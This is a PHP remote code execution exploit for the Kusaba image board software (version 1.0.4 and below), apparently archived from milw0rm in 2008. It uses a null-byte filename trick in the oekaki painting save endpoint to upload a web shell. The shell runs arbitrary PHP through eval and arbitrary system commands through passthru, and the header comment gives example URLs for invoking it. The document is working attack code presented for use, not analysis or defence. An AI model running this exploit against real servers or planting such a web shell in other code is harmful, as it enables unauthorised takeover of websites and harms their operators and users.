Kusaba <= 1.0.4 - Remote Code Execution Exploit

&#60;?php /********************************** 9 Oct 2008 Kusaba &#60;= 1.0.4 Remote Code Execution Sausage &#60;tehsausage@gmail.com&#62; After execution: http://www.kusaba.image.board/url/kasubaoek/oekaki.php?pc=print &#34;Hello&#34;; http://www.kusaba.image.board/url/kasubaoek/oekaki.php?sc=echo Hello **********************************/ $shellname = &#39;oekaki.php&#39;; // any filename ending in php $server = &#39;http://www.kusaba.image.board/url/&#39;; // BBS website, with trailing slash $image = file_get_contents(&#39;test.jpg&#39;); // image to upload (any valid picture) $magicquotes = true; if ($magicquotes) { $shellcode = &#60;&#60;&#60;endSHELL &#60;?php isset(\$_GET[&#39;pc&#39;])?(eval(urldecode(stripslashes(\$_GET[&#39;pc&#39;])))):(isset(\$_GET[&#39;sc&#39;])?(passthru(urldecode(stripslashes(\$_GET[&#39;sc&#39;])))):(header(&#39;Location: ../&#39;))); endSHELL; } else { $shellcode = &#60;&#60;&#60;endSHELL &#60;?php isset(\$_GET[&#39;pc&#39;])?(eval(urldecode(\$_GET[&#39;pc&#39;]))):(isset(\$_GET[&#39;sc&#39;])?(passthru(urldecode(\$_GET[&#39;sc&#39;]))):(header(&#39;Location: ../&#39;))); endSHELL; } $adata = array( &#39;No clue&#39; =&#62; &#39;what this is for&#39;, ); function build_data($adata) { $data = &#39;&#39;; foreach ($adata as $k =&#62; $v) { $data .= &#34;$k=$v;&#34;; } return substr($data,0,-1); } function data_len($data) { return str_pad(strlen($data),8,&#39;0&#39;,STR_PAD_LEFT); } $request = new HttpRequest($server.&#39;paint_save.php?applet=shipainter&saveid=&#39;.$shellname.&#39;%00&#39;,HttpRequest::METH_POST); $data = build_data($adata); $imagedata = $image; $animationdata = $shellcode; $request-&#62;setRawPostData(&#34;S&#34;.data_len($data).$data.data_len($imagedata).&#39;xx&#39;.$imagedata.data_len($animationdata).$animationdata); echo $request-&#62;send()-&#62;getBody(); # milw0rm.com [2008-10-09]